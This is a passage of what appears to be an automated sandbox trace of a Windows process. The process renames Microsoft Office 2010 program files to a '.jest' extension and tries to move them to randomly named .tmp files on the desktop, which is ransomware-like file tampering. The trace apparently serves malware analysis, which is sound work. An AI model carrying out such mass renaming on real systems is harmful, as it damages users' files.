HALPmcxz\\Desktop\\3L_smdQrBJMz2rrZ4Edc8vtOIPeSuHvNoDbhPkxIU3vub-PCfg2NXd3XP2lGxmI_OrJmiYz9u1GE6TChE2klI 4eL7_TiVHjSF4j5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3l_smdqrbjmz2rrz4edc8vtoipesuhvnodbhpkxiu3vub-pcfg2nxd3xp2lgxmi_orjmiyz9u1ge6tche2kli 4el7_tivhjsf4j5.tmp")) returned 0 [0169.177] GetLastError () returned 0x2 [0169.177] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html.jest")) returned 1 [0169.181] VarBstrFromR4 (in: fltIn=0x4794595f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.74") returned 0x0 [0169.182] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPreviewTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formspreviewtemplatertl.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tiKImSu2mRaQikhAgFX-3XeFp2bFgs9Z7S9KVtsZ_qUYmoRt_eQUGV3corjUaM9Kg9142OWt 0j6oNE_wgWHmb8S7ejO9o3822 .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tikimsu2mraqikhagfx-3xefp2bfgs9z7s9kvtsz_quymort_equgv3corjuam9kg9142owt 0j6one_wgwhmb8s7ejo9o3822 .tmp")) returned 0 [0169.182] GetLastError () returned 0x2 [0169.183] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.184] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html.jest")) returned 1 [0169.187] VarBstrFromR4 (in: fltIn=0x4794595f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.74") returned 0x0 [0169.188] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsPrintTemplateRTL.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsprinttemplatertl.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mC3IDs6_yZXHPVYuoyRe0Gr_hfZGCQ9YwRZGRCVDo-Cz7G21pX7v1UrZv4YUpb6sVWZXB1xIiomGGumQ626N_f6Pwj3bCiJDthsbr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mc3ids6_yzxhpvyuoyre0gr_hfzgcq9ywrzgrcvdo-cz7g21px7v1urzv4yupb6svwzxb1xiiomggumq626n_f6pwj3bcijdthsbr.tmp")) returned 0 [0169.188] GetLastError () returned 0x2 [0169.188] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.190] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm.jest")) returned 1 [0169.193] VarBstrFromR4 (in: fltIn=0x47945961, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.76") returned 0x0 [0169.194] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsversion1warning.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DITT6bshRmR3GbEgwhSq8pSrKPYwWgvNust5HFXpr5RjsJmb4rUsy033uLvtFjnQsj0U402RAoqQMCPZLD 84hDp7gnTdn_OQbq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ditt6bshrmr3gbegwhsq8psrkpywwgvnust5hfxpr5rjsjmb4rusy033ulvtfjnqsj0u402raoqqmcpzld 84hdp7gntdn_oqbq.tmp")) returned 0 [0169.194] GetLastError () returned 0x2 [0169.194] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg.jest")) returned 1 [0169.198] VarBstrFromR4 (in: fltIn=0x47945961, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.76") returned 0x0 [0169.199] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pEEjYn5IypjetpIce4rF67kIXCoYmSv03JboLcojeghJasekNWyXqY3xZdww 95HwRtTJx3SWVm-6PH_H_Ij3L2Ur40zPFlrXvJaT.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\peejyn5iypjetpice4rf67kixcoymsv03jbolcojeghjaseknwyxqy3xzdww 95hwrttjx3swvm-6ph_h_ij3l2ur40zpflrxvjat.tmp")) returned 0 [0169.199] GetLastError () returned 0x2 [0169.199] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.201] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg.jest")) returned 1 [0169.204] VarBstrFromR4 (in: fltIn=0x47945961, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.76") returned 0x0 [0169.205] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ugNY9mu_L9p2-fybSh8qYFDMTVxr1im49ERu0ERrWrvMRBW5lP1XiqYn8L14jyDvuLKxQah7CVCVxjPO_Xh47QzbqZLLaL_Q0_hA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ugny9mu_l9p2-fybsh8qyfdmtvxr1im49eru0errwrvmrbw5lp1xiqyn8l14jydvulkxqah7cvcvxjpo_xh47qzbqzllal_q0_ha.tmp")) returned 0 [0169.206] GetLastError () returned 0x2 [0169.206] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.209] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg.jest")) returned 1 [0169.212] VarBstrFromR4 (in: fltIn=0x47945963, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.77") returned 0x0 [0169.213] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XCIc6axLPLf22DDfelgzHxSfo6eJElImQ0_xipdoMKErs0nJrcCgfhattfT-FA-klliNNYiiknHzUW-c3WqqZNCPm6VIbDG67Flm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xcic6axlplf22ddfelgzhxsfo6ejelimq0_xipdomkers0njrccgfhattft-fa-kllinnyiiknhzuw-c3wqqzncpm6vibdg67flm.tmp")) returned 0 [0169.213] GetLastError () returned 0x2 [0169.214] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.215] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html.jest")) returned 1 [0169.218] VarBstrFromR4 (in: fltIn=0x47945963, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.77") returned 0x0 [0169.219] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewFrame.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewframe.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Z3D3I72g3Ccb9CMN9CSMG4 9bX9jEU3oVjJbZ6hXTzzVx-VjtN n6aud2fQ9kWZDM_PMvNheY5ZzUn2-3mxHlB_Gf0ZjySW-bZWM .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\z3d3i72g3ccb9cmn9csmg4 9bx9jeu3ovjjbz6hxtzzvx-vjtn n6aud2fq9kwzdm_pmvnhey5zzun2-3mxhlb_gf0zjysw-bzwm .tmp")) returned 0 [0169.219] GetLastError () returned 0x2 [0169.220] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱤ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.222] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html.jest")) returned 1 [0169.224] VarBstrFromR4 (in: fltIn=0x47945965, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.79") returned 0x0 [0169.225] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsViewTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsviewtemplate.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ibS9-tCf3cjRBB3rxCoTrdY30rM9vcRLpESHUDvIG1A2lq8yDSLW7-fpUzkslnXU_E9P71ZvoQaw7RSkImU8TRAy8oyN2 ty2Ek27.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ibs9-tcf3cjrbb3rxcotrdy30rm9vcrlpeshudvig1a2lq8ydslw7-fpuzkslnxu_e9p71zvoqaw7rskimu8tray8oyn2 ty2ek27.tmp")) returned 0 [0169.226] GetLastError () returned 0x2 [0169.226] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱡ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.227] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg.jest")) returned 1 [0169.229] VarBstrFromR4 (in: fltIn=0x47945965, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.79") returned 0x0 [0169.231] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormToolImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formtoolimages.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WL19WQli1KqHNTN-oUhm_i6h-1JrWd fvZR7C3sI1bx8DyDGQnpSYj_6IDDypnw7sVcvrEyupvYV4 KY0_usm-WydVVLljiyKbGY.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wl19wqli1kqhntn-ouhm_i6h-1jrwd fvzr7c3si1bx8dydgqnpsyj_6iddypnw7svcvreyupvyv4 ky0_usm-wydvvlljiykbgy.tmp")) returned 0 [0169.231] GetLastError () returned 0x2 [0169.233] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.234] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css.jest")) returned 1 [0169.237] VarBstrFromR4 (in: fltIn=0x47945965, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.79") returned 0x0 [0169.239] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-olbOC9XyAF2tmdQndVjSLj2tyFCmTrRPrtlC4i7YLcL2zCw9SV7zdxCD-NdpDCkj2kO7uWFGnO_ImrsgHc6dAJL2s7G0oqZ7ECA9.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-olboc9xyaf2tmdqndvjslj2tyfcmtrrprtlc4i7ylcl2zcw9sv7zdxcd-ndpdckj2ko7uwfgno_imrsghc6dajl2s7g0oqz7eca9.tmp")) returned 0 [0169.239] GetLastError () returned 0x2 [0169.239] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.241] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css.jest")) returned 1 [0169.244] VarBstrFromR4 (in: fltIn=0x47945967, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.8") returned 0x0 [0169.245] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZSGpgVDo_nHsUCn_5NiuUXefACADe7e-tA4e2A4qTGA21a3FVquQD24FtlK6Wyw_Ge2mCfDHouAMH_VeZdlDLQjcLbcWU68xrjfu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zsgpgvdo_nhsucn_5niuuxefacade7e-ta4e2a4qtga21a3fvquqd24ftlk6wyw_ge2mcfdhouamh_vezdldlqjclbcwu68xrjfu.tmp")) returned 0 [0169.245] GetLastError () returned 0x2 [0169.246] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱗ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.248] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml.jest")) returned 1 [0169.251] VarBstrFromR4 (in: fltIn=0x47945967, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.8") returned 0x0 [0169.252] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FQHdHaziC9fTepNfVmuKjbi2xSOh1po_h9ZGLTvixXlO1HXSQFzUMjGlYqoAj_M4sbOj3ppY3F8mDBiKYGazvOND_66VKlSOeS1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fqhdhazic9ftepnfvmukjbi2xsoh1po_h9zgltvixxlo1hxsqfzumjglyqoaj_m4sboj3ppy3f8mdbikygazvond_66vklsoes1.tmp")) returned 0 [0169.252] GetLastError () returned 0x2 [0169.252] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="︑", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.254] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg.jest")) returned 1 [0169.256] VarBstrFromR4 (in: fltIn=0x47945969, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75954.82") returned 0x0 [0169.257] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\GRIP.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\grip.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tdgeprw0idlimQHCiBj_Y P0yXGSGi3nX8-I2QZ3NqKpO4sSQ5W0rmXro65zmlIgG2Geicz075B5PO4RqKOzQEhdxR7lz_P_5sSYc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tdgeprw0idlimqhcibj_y p0yxgsgi3nx8-i2qz3nqkpo4ssq5w0rmxro65zmligg2geicz075b5po4rqkozqehdxr7lz_p_5ssyc.tmp")) returned 0 [0169.258] GetLastError () returned 0x2 [0169.258] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱟ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft 